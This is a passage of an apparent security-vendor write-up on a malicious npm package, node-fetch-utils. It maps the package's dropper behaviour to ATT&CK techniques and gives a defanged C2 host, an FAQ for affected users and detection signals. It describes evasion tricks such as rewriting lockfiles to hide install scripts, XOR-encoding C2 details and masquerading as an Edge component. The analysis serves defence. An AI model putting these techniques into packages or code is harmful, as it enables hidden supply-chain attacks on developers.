C2 host, port, and HMAC key stored as XOR-encoded byte arrays; Python payload delivered XOR-encrypted via SHA-256 keystream.

T1070.004

Indicator Removal: File Deletion

_patchLock() strips hasInstallScript from lockfiles; postinstall scripts and all temp files self-delete after execution.

T1071.001

Application Layer Protocol: Web Protocols

C2 communication uses plain HTTP to node22[.]lunes[.]host:3258 with HMAC token authentication.

T1036.005

Masquerading: Match Legitimate Name or Location

Python runtime planted at %LOCALAPPDATA%\Microsoft\EdgeBroker\pythonw.exe mimics a Microsoft Edge component.

A Note from Ossprey

Ossprey's threat-hunting pipeline flagged node-fetch-utils@1.2.1 in under 1 minute of its publication to NPM. Using Ossprey, our threat hunters were then able to identify the git repo and further details of the attack detailed in this article despite the attackers attempt to avoid scrutiny.

Related Ossprey research: Axios Hijacked: Cross-Platform RAT via Maintainer Account Takeover | TJ-Actions Breach | Nx Package Compromise

Book a demo to see how Ossprey detects campaigns like this within minutes of registry publication.

Frequently Asked Questions

Was my project affected if I installed node-fetch-utils? All versions 1.2.1 through 1.3.0 are malicious. If any ran npm install on a Windows machine, treat it as potentially compromised. Non-Windows installs exit the hook immediately - the dropper checks process.platform !== 'win32' and does nothing on Linux or macOS.

What does the Python payload do? The third-stage Python bytecode was not recovered from the C2 server. Its capabilities are unknown. The infrastructure - HMAC authentication, custom encrypted channel, Python runtime installed in a persistent path - is consistent with a full-featured RAT or credential stealer.

Why does my package-lock.json look clean? The dropper actively rewrites both package-lock.json and node_modules/.package-lock.json to strip hasInstallScript entries, covering its tracks. A clean lockfile is not evidence of a clean install - check for the packages by name, not by lockfile inspection.

How does Ossprey detect this class of attack? Ossprey flagged node-fetch-utils@1.2.1 within 5 seconds of its publication at 22:12 UTC on 21 June 2026. The signals were the GitHub-URL dependency pointing to a freshly created actor-controlled repository combined with XOR byte-array obfuscation of the C2 host and HMAC key in the postinstall script. Both patterns - live GitHub-URL deps from new accounts and XOR-encoded network constants in postinstall hooks - are explicitly modelled in Ossprey's static analysis pipeline.

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.